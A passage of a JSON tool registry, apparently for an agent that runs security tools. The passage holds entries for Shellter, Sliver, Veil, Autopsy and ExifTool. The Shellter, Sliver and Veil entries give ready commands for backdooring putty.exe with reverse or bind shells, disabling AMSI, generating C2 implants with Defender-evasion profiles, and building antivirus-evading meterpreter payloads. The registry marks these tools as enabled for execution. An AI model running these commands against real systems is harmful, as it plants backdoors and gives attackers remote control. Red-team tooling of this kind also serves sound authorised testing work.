        "command": "shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 -m auto"
      },
      {
        "description": "Manual mode for custom injection",
        "command": "shellter --pe putty.exe -m manual"
      },
      {
        "description": "Inject custom shellcode",
        "command": "shellter --pe putty.exe --shellcode shellcode.bin"
      },
      {
        "description": "Backdoor with bind shell",
        "command": "shellter --pe putty.exe --bind-port 4444 -m auto"
      },
      {
        "description": "Quiet mode with custom output",
        "command": "shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 -o backdoor.exe --quiet"
      },
      {
        "description": "Backdoor with AMSI disabled",
        "command": "shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 --no-amsi"
      }
    ],
    "execution": {
      "template": "shellter --pe {target-exe}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "stealth"
    ],
    "global_vars": {
      "target-exe": "/path/to/putty.exe",
      "lhost": "10.0.0.1",
      "lport": "4444"
    },
    "id": "security-exploit-shellter",
    "install": [
      {
        "method": "apt",
        "package_name": "shellter",
        "commands": [
          "apt-get install -y shellter"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "shellter",
    "namespace": "security:exploit:shellter",
    "parameters": [
      {
        "name": "bind-port",
        "template_key": "bind-port",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Bind shell port",
        "aliases": [
          "--bind-port"
        ],
        "flag": "--bind-port"
      },
      {
        "name": "bind_ip",
        "type": "boolean",
        "required": false,
        "description": "Bind shell bind IP",
        "aliases": [
          "--bind-ip"
        ],
        "flag": "--bind-ip"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": "auto",
        "description": "Mode (auto/manual)",
        "aliases": [
          "-m",
          "--mode"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-no-amsi",
        "template_key": "flag-no-amsi",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Disable AMSI bypass",
        "aliases": [
          "--no-amsi"
        ],
        "flag": "--no-amsi"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-pe",
        "template_key": "flag-pe",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target PE file path",
        "aliases": [
          "--pe"
        ],
        "flag": "--pe"
      },
      {
        "name": "flag-quiet",
        "template_key": "flag-quiet",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Quiet output mode",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "flag-shellcode",
        "template_key": "flag-shellcode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom shellcode file",
        "aliases": [
          "--shellcode"
        ],
        "flag": "--shellcode"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "no_etc",
        "type": "boolean",
        "required": false,
        "description": "Disable ETW patching",
        "aliases": [
          "--no-etc"
        ],
        "flag": "--no-etc"
      },
      {
        "name": "reverse-ip",
        "template_key": "reverse-ip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Reverse shell IP",
        "aliases": [
          "--reverse-ip"
        ],
        "flag": "--reverse-ip"
      },
      {
        "name": "reverse-port",
        "template_key": "reverse-port",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Reverse shell port",
        "aliases": [
          "--reverse-port"
        ],
        "flag": "--reverse-port"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Shellter GitHub",
        "url": "https://github.com/ryank231231/shellter"
      },
      {
        "label": "Shellter Project",
        "url": "https://www.shellterproject.com/"
      }
    ],
    "related_tools": [
      "veil",
      "metasploit",
      "msfvenom"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "backdoored-pe",
        "injected-shellcode"
      ],
      "consumes": [
        "target-pe",
        "shellcode-payload",
        "lhost",
        "lport"
      ]
    }
  },
  {
    "_body": "\n# Sliver — Implant-Based C2 Framework\n\nSliver is an open-source, implant-based C2 (Command and Control) framework designed for adversary simulation, red team operations, and post-exploitation. It supports multiple communication protocols including mTLS, HTTP, HTTPS, DNS, and named pipes.\n\n## Key Features\n\n- **Multi-protocol C2**: mTLS, HTTP(S), DNS, TCP, named pipes\n- **Dynamic implants**: Fully customizable implant generation\n- **Armory**: Community extension marketplace\n- **Operators**: Multi-user collaboration with role-based access\n- **Encrypted comms**: End-to-end encryption for all communication\n- **Cross-platform**: Server on Linux/macOS, implants on Windows/Linux/macOS\n",
    "_source": "sliver.md",
    "allowed-tools": [
      "sliver",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "agent.communication",
      "implant.generation",
      "post.exploitation",
      "adversary.simulation"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Listener bind address"
        },
        {
          "type": "network.port.number",
          "description": "Listener bind port"
        },
        {
          "type": "implant.config",
          "description": "Implant configuration profile"
        }
      ],
      "outputs": [
        {
          "type": "agent.session",
          "description": "Active agent session",
          "mime": "application/octet-stream"
        },
        {
          "type": "implant.binary",
          "description": "Generated implant binary",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Implant-based C2 framework for adversary simulation, red team operations, and post-exploitation.",
    "examples": [
      {
        "description": "Start Sliver server",
        "command": "sliver-server --daemon"
      },
      {
        "description": "Start Sliver client",
        "command": "sliver-client"
      },
      {
        "description": "Generate mTLS implant",
        "command": "generate --mtls 10.0.0.1:443 --os windows --arch amd64 --save implant.exe"
      },
      {
        "description": "Start HTTP listener",
        "command": "sliver-client --http 0.0.0.0:80"
      },
      {
        "description": "Start HTTPS listener",
        "command": "sliver-client --https 0.0.0.0:443"
      },
      {
        "description": "Enable armory extensions",
        "command": "sliver-client --armory"
      },
      {
        "description": "Generate with custom profile",
        "command": "generate --profile windows-defender-evasion --save beacon.exe"
      }
    ],
    "execution": {
      "template": "sliver-client",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {
      "lhost": "0.0.0.0",
      "lport": "443"
    },
    "id": "security-exploit-sliver",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/BishopFox/sliver",
        "commands": [
          "go install github.com/BishopFox/sliver@latest"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1071",
      "T1573",
      "T1059"
    ],
    "name": "sliver",
    "namespace": "security:exploit:sliver",
    "parameters": [
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "Debug mode",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-armory",
        "template_key": "flag-armory",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable armory for community extensions",
        "aliases": [
          "--armory"
        ],
        "flag": "--armory"
      },
      {
        "name": "flag-config",
        "template_key": "flag-config",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Config file path",
        "aliases": [
          "--config"
        ],
        "flag": "--config"
      },
      {
        "name": "flag-daemon",
        "template_key": "flag-daemon",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Daemonize server",
        "aliases": [
          "--daemon"
        ],
        "flag": "--daemon"
      },
      {
        "name": "flag-dns",
        "template_key": "flag-dns",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "DNS listener (host:port)",
        "aliases": [
          "--dns"
        ],
        "flag": "--dns"
      },
      {
        "name": "flag-http",
        "template_key": "flag-http",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTP listener (host:port)",
        "aliases": [
          "--http"
        ],
        "flag": "--http"
      },
      {
        "name": "flag-https",
        "template_key": "flag-https",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "HTTPS listener (host:port)",
        "aliases": [
          "--https"
        ],
        "flag": "--https"
      },
      {
        "name": "flag-mtls",
        "template_key": "flag-mtls",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mTLS listener (host:port)",
        "aliases": [
          "--mtls"
        ],
        "flag": "--mtls"
      },
      {
        "name": "flag-profile",
        "template_key": "flag-profile",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Implant profile",
        "aliases": [
          "--profile"
        ],
        "flag": "--profile"
      },
      {
        "name": "flag-save",
        "template_key": "flag-save",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Save output to file",
        "aliases": [
          "--save"
        ],
        "flag": "--save"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "lhost",
        "template_key": "lhost",
        "type": "string",
        "required": false,
        "default_value": "0.0.0.0",
        "description": "Listener host/IP",
        "aliases": [
          "--lhost"
        ],
        "flag": "--lhost"
      },
      {
        "name": "lport",
        "template_key": "lport",
        "type": "integer",
        "required": false,
        "default_value": 443,
        "description": "Listener port",
        "aliases": [
          "--lport"
        ],
        "flag": "--lport"
      },
      {
        "name": "named_pipe",
        "type": "boolean",
        "required": false,
        "description": "Named pipe listener",
        "aliases": [
          "--named-pipe"
        ],
        "flag": "--named-pipe"
      },
      {
        "name": "subcommand",
        "template_key": "subcommand",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Subcommand: client, server, operator",
        "aliases": []
      },
      {
        "name": "tcp",
        "type": "boolean",
        "required": false,
        "description": "TCP listener",
        "aliases": [
          "--tcp"
        ],
        "flag": "--tcp"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Sliver GitHub",
        "url": "https://github.com/BishopFox/sliver"
      },
      {
        "label": "Sliver Documentation",
        "url": "https://sliver.sh/docs"
      }
    ],
    "related_tools": [
      "metasploit",
      "empire",
      "covenant",
      "cobalt-strike"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "implant-binary",
        "agent-session",
        "c2-listener",
        "loot-data"
      ],
      "consumes": [
        "target-ip",
        "target-port",
        "implant-profile"
      ]
    }
  },
  {
    "_body": "\n# Veil — Payload Generation Framework\n\nVeil is a framework designed to generate Metasploit-compatible payloads that circumvent common anti-virus solutions. It uses various encoding, encryption, and obfuscation techniques to produce evasive executables.\n\n## Key Features\n\n- **AV Evasion**: Multiple techniques to bypass anti-virus detection\n- **Metasploit compatible**: Generates payloads compatible with msfconsole\n- **Multiple formats**: Python, C, C#, PowerShell, and more\n- **Custom encoders**: XOR, AES, and other encryption methods\n- **Ordnance**: Built-in shellcode generation tool\n- **Cross-platform payloads**: Windows, Linux, and macOS targets\n",
    "_source": "veil.md",
    "allowed-tools": [
      "veil",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "payload.generation",
      "av.evasion",
      "metasploit.integration",
      "shellcode.encoding"
    ],
    "contract": {
      "inputs": [
        {
          "type": "payload.type",
          "description": "Type of payload to generate"
        },
        {
          "type": "network.lhost",
          "description": "Listener IP for reverse connection"
        },
        {
          "type": "network.lport",
          "description": "Listener port for reverse connection"
        },
        {
          "type": "evasion.technique",
          "description": "AV evasion technique to apply"
        }
      ],
      "outputs": [
        {
          "type": "payload.binary",
          "description": "Generated evasive payload",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "python3"
    ],
    "description": "Veil framework for generating Metasploit-compatible payloads that bypass common anti-virus solutions.",
    "examples": [
      {
        "description": "Generate meterpreter reverse HTTPS payload",
        "command": "veil -t Evasion -p cs/meterpreter/rev_https.py --ip 10.0.0.1 --port 443"
      },
      {
        "description": "Generate reverse TCP payload",
        "command": "veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444"
      },
      {
        "description": "Generate with output file",
        "command": "veil -t Evasion -p cs/meterpreter/rev_http.py --ip 10.0.0.1 --port 80 -o payload.exe"
      },
      {
        "description": "Generate with specific evasion technique",
        "command": "veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --evasion syscalls"
      },
      {
        "description": "Use msfvenom base generation",
        "command": "veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --msfvenom"
      },
      {
        "description": "Verbose mode with encryption",
        "command": "veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --encrypt xor -v"
      }
    ],
    "execution": {
      "template": "veil -t {tool} -p {payload} --ip {lhost} --port {lport}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "stealth"
    ],
    "global_vars": {
      "lhost": "10.0.0.1",
      "lport": "4444",
      "tool": "Evasion",
      "payload": "cs/meterpreter/rev_https.py"
    },
    "id": "security-exploit-veil",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/Veil-Framework/Veil.git",
        "commands": [
          "git clone https://github.com/Veil-Framework/Veil.git",
          "cd Veil && ./setup/install.sh"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1059",
      "T1190",
      "T1203"
    ],
    "name": "veil",
    "namespace": "security:exploit:veil",
    "parameters": [
      {
        "name": "encrypt",
        "template_key": "encrypt",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Encryption method (xor, aes, etc.)",
        "aliases": [
          "--encrypt"
        ],
        "flag": "--encrypt"
      },
      {
        "name": "evasion",
        "template_key": "evasion",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Evasion technique",
        "aliases": [
          "--evasion"
        ],
        "flag": "--evasion"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Config file path",
        "aliases": [
          "-c",
          "--config"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-ip",
        "template_key": "flag-ip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Listener IP address",
        "aliases": [
          "--ip"
        ],
        "flag": "--ip"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Listener payload type",
        "aliases": [
          "-l",
          "--listener"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-msfvenom",
        "template_key": "flag-msfvenom",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use msfvenom for payload generation",
        "aliases": [
          "--msfvenom"
        ],
        "flag": "--msfvenom"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file path",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-port",
        "template_key": "flag-port",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Listener port",
        "aliases": [
          "--port"
        ],
        "flag": "--port"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show this help message",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "no_msfvenom",
        "type": "boolean",
        "required": false,
        "description": "Disable msfvenom payload generation",
        "aliases": [
          "--no-msfvenom"
        ],
        "flag": "--no-msfvenom"
      },
      {
        "name": "payload",
        "template_key": "payload",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Payload name to generate",
        "aliases": [
          "-p",
          "--payload"
        ],
        "flag": "-p"
      },
      {
        "name": "tool",
        "template_key": "tool",
        "type": "string",
        "required": false,
        "default_value": "Evasion",
        "description": "Tool/payload type (Evasion, Ordnance, etc.)",
        "aliases": [
          "-t",
          "--tool"
        ],
        "flag": "-t"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Veil GitHub",
        "url": "https://github.com/Veil-Framework/Veil"
      },
      {
        "label": "Veil Documentation",
        "url": "https://github.com/Veil-Framework/Veil/wiki"
      }
    ],
    "related_tools": [
      "shellter",
      "metasploit",
      "msfvenom"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "high",
    "services": [],
    "techniques": [
      "execution",
      "execution",
      "command-and-control"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "evasive-payload",
        "payload-binary"
      ],
      "consumes": [
        "payload-type",
        "lhost",
        "lport",
        "evasion-technique"
      ]
    }
  },
  {
    "_body": "\n# Autopsy — Digital Forensics Platform\n\nAutopsy is a GUI-based digital forensics platform built on The Sleuth Kit. It provides disk image analysis, file carving, keyword search, timeline generation, and hash set analysis through an intuitive web interface.\n\n## Key Features\n\n- **Multi-user**: Web-based interface supports collaborative cases\n- **Modular ingest**: Pluggable ingest modules for extensible analysis\n- **Timeline analysis**: Visual timeline of file system activity\n- **Keyword search**: Indexed text search across disk images\n- **File carving**: Recovers deleted files using file signatures\n",
    "_source": "security-forensics-autopsy.md",
    "allowed-tools": [
      "autopsy",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "disk.image.raw",
        "description": "Raw disk image for analysis",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      },
      {
        "type": "forensics.report.html",
        "description": "Autopsy analysis report in HTML",
        "mime": "text/html",
        "trust_level": "verified"
      },
      {
        "type": "forensics.case.database",
        "description": "Autopsy case database (SQLite)",
        "mime": "application/x-sqlite3",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "disk.analysis.image",
      "forensics.file.carving",
      "forensics.timeline.generation",
      "forensics.keyword.search",
      "forensics.hash.analysis"
    ],
    "contract": {
      "inputs": [
        {
          "type": "disk.image.file",
          "description": "Path to the disk image to analyze"
        },
        {
          "type": "directory.path",
          "description": "Case directory for storing results"
        },
        {
          "type": "forensics.ingest.module",
          "description": "Ingest module configuration"
        }
      ],
      "outputs": [
        {
          "type": "forensics.report.html",
          "description": "HTML analysis report",
          "mime": "text/html"
        },
        {
          "type": "forensics.file.carved",
          "description": "Recovered carved files",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 1024,
        "network": "low",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "GUI-based digital forensics platform built on The Sleuth Kit for disk image analysis, file carving, and timeline generation.",
    "examples": [
      {
        "description": "Start Autopsy web interface on default port",
        "command": "autopsy"
      },
      {
        "description": "Start Autopsy on a custom port without opening browser",
        "command": "autopsy --no-browser -p 9999"
      },
      {
        "description": "Bind to all network interfaces",
        "command": "autopsy -H 0.0.0.0"
      },
      {
        "description": "Start with specific ingest modules",
        "command": "autopsy --ingest-modules \"RecentActivity,HashLookup,KeywordSearch\""
      },
      {
        "description": "Display help",
        "command": "autopsy --help"
      },
      {
        "description": "Show version",
        "command": "autopsy --version"
      }
    ],
    "execution": {
      "template": "autopsy",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "security-forensics-autopsy",
    "install": [
      {
        "method": "apt",
        "package_name": "autopsy",
        "commands": [
          "apt-get install -y autopsy"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "autopsy",
    "namespace": "security:forensics:autopsy",
    "parameters": [
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Display help message",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "Display version information",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "no-browser",
        "type": "boolean",
        "required": false,
        "description": "Do not open the browser on startup",
        "aliases": [
          "--no-browser"
        ],
        "flag": "--no-browser"
      },
      {
        "name": "flag-p",
        "type": "integer",
        "required": false,
        "description": "Port to bind the web interface",
        "default_value": "9999",
        "aliases": [
          "-p",
          "--port"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-H",
        "type": "string",
        "required": false,
        "description": "Host address to bind",
        "default_value": "127.0.0.1",
        "aliases": [
          "-H",
          "--host"
        ],
        "flag": "-H"
      },
      {
        "name": "admin-pass",
        "type": "string",
        "required": false,
        "description": "Administrator password for first-run setup",
        "aliases": [
          "--admin-pass"
        ],
        "flag": "--admin-pass"
      },
      {
        "name": "ingest-modules",
        "type": "string",
        "required": false,
        "description": "Comma-separated list of ingest modules to run",
        "aliases": [
          "--ingest-modules"
        ],
        "flag": "--ingest-modules"
      },
      {
        "name": "keyword-list",
        "type": "file",
        "required": false,
        "description": "File containing keywords to search",
        "aliases": [
          "--keyword-list"
        ],
        "flag": "--keyword-list"
      },
      {
        "name": "hash-db",
        "type": "file",
        "required": false,
        "description": "Hash database for known file matching",
        "aliases": [
          "--hash-db"
        ],
        "flag": "--hash-db"
      },
      {
        "name": "flag-version",
        "type": "boolean",
        "required": false,
        "description": "Show Autopsy version",
        "aliases": [
          "-version",
          "--version"
        ],
        "flag": "-version"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Autopsy Documentation",
        "url": "https://www.autopsy.com/documentation/"
      },
      {
        "label": "Sleuth Kit GitHub",
        "url": "https://github.com/sleuthkit/sleuthkit"
      }
    ],
    "related_tools": [
      "sleuthkit",
      "volatility",
      "foremost",
      "binwalk"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 1024,
      "network": "low",
      "disk_io": "high"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "disk-analysis",
        "carved-files",
        "timeline",
        "keyword-hits",
        "hash-sets"
      ],
      "consumes": [
        "disk-image",
        "case-directory"
      ]
    }
  },
  {
    "_body": "\n# ExifTool — Metadata Reader/Writer\n\nExifTool is a powerful Perl-based utility for reading, writing, and manipulating metadata in a vast range of file formats. It supports EXIF, IPTC, XMP, GPS, and hundreds of other metadata types across images, audio, video, and documents.\n\n## Key Features\n\n- **Broad format support**: Hundreds of image, audio, video, and document formats\n- **Multiple output formats**: JSON, CSV, XML, tab-delimited, custom print formats\n- **Batch processing**: Recursive directory scanning with extension filtering\n- **Metadata removal**: Bulk sanitization of sensitive metadata\n",
    "_source": "security-forensics-exiftool.md",
    "allowed-tools": [
      "exiftool",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "metadata.exif",
        "description": "EXIF metadata extracted from files",
        "mime": "application/json",
        "trust_level": "verified"
      },
      {
        "type": "metadata.report",
        "description": "Metadata report in various formats",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "metadata.read.exif",
      "metadata.read.iptc",
      "metadata.read.xmp",
      "metadata.write",
      "forensics.metadata.extraction"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.path",
          "description": "File or directory to extract metadata from"
        },
        {
          "type": "output.format",
          "description": "Output format (json, csv, tab, xml)"
        }
      ],
      "outputs": [
        {
          "type": "metadata.json",
          "description": "Metadata as JSON",
          "mime": "application/json"
        },
        {
          "type": "metadata.csv",
          "description": "Metadata as CSV",
          "mime": "text/csv"
        },
        {
          "type": "metadata.text",
          "description": "Metadata as plain text",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 128,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Perl-based metadata reader and writer for extracting EXIF, IPTC, XMP, and other metadata from files.",
    "examples": [
      {
        "description": "Extract all metadata from a file",
        "command": "exiftool image.jpg"
      },
      {
        "description": "Output metadata as JSON",
        "command": "exiftool -j image.jpg"
      },
      {
        "description": "Recursively scan a directory for metadata",
        "command": "exiftool -r -j /path/to/photos/"
      },
      {
        "description": "Extract only EXIF data from JPEG files recursively",
        "command": "exiftool -r -ext jpg -EXIF:All /path/to/photos/"
      },
      {
        "description": "Tab-delimited output with group names",
        "command": "exiftool -G -t image.jpg"
      },
      {
        "description": "Export metadata to CSV",
        "command": "exiftool -csv -r /path/to/photos/ > metadata.csv"
      },
      {
        "description": "Remove all metadata from a file",
        "command": "exiftool -all= image.jpg --overwrite_original"
      },
      {
        "description": "List all supported file types",
        "command": "exiftool -list"
      }
    ],
    "execution": {
      "template": "exiftool {file}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {
      "file": "image.jpg"
    },
    "id": "security-forensics-exiftool",
    "install": [
      {
        "method": "apt",
        "package_name": "libimage-exiftool-perl",
        "commands": [
          "apt-get install -y libimage-exiftool-perl"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "exiftool",
    "namespace": "security:forensics:exiftool",
    "parameters": [
      {
        "name": "file",
        "type": "string",
        "required": true,
        "description": "File(s) to read metadata from",
        "aliases": []
      },
      {
        "name": "flag-a",
        "type": "boolean",
        "required": false,
        "description": "Show duplicate tags (all instances)",
        "aliases": [
          "-a",
          "--duplicates"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-r",
        "type": "boolean",
        "required": false,
        "description": "Recursively process subdirectories",
        "aliases": [
          "-r",
          "--recurse"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-G",
        "type": "boolean",
        "required": false,
        "description": "Print group name for each tag",
        "aliases": [
          "-G",
          "--group"
        ],
        "flag": "-G"
      },
      {
        "name": "flag-j",
        "type": "boolean",
        "required": false,
        "description": "JSON output format",
        "aliases": [
          "-j",
          "--json"
        ],
        "flag": "-j"
      },
      {
        "name": "flag-t",
        "type": "boolean",
        "required": false,
        "description": "Tab-delimited output format",
        "aliases": [
          "-t",
          "--tab"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-csv",
        "type": "boolean",
        "required": false,
        "description": "CSV output format",
        "aliases": [
          "-csv",
          "--csv"
        ],
        "flag": "-csv"
      },
      {
        "name": "flag-p",
        "type": "string",
        "required": false,
        "description": "Print format string for custom output",
        "aliases": [
          "-p",
          "--print-format"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-s",
        "type": "boolean",
        "required": false,
        "description": "Short output — omit tag descriptions",
        "aliases": [
          "-s",
          "--short"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-n",
        "type": "boolean",
        "required": false,
        "description": "Numeric values instead of descriptions",
        "aliases": [
          "-n",
          "--numeric"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-u",
        "type": "boolean",
        "required": false,
        "description": "Include unknown tags",
        "aliases": [
          "-u",
          "--unknown"
        ],
        "flag": "-u"
      },
      {
        "name": "flag-m",
        "type": "boolean",
        "required": false,
        "description": "Ignore minor errors",
        "aliases": [
          "-m",
          "--ignore-minor-errors"
        ],
        "flag": "-m"
      },
      {
        "name": "overwrite_original",
        "type": "boolean",
        "required": false,
        "description": "Overwrite original file (backup as .original)",
        "aliases": [
          "--overwrite_original"
        ],
        "flag": "--overwrite_original"
      },
      {
        "name": "flag-o",
        "type": "string",
        "required": false,
        "description": "Output file or directory name",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-ext",
        "type": "string",
        "required": false,
        "description": "Process only files with given extension",
        "aliases": [
          "-ext",
          "--extension"
        ],
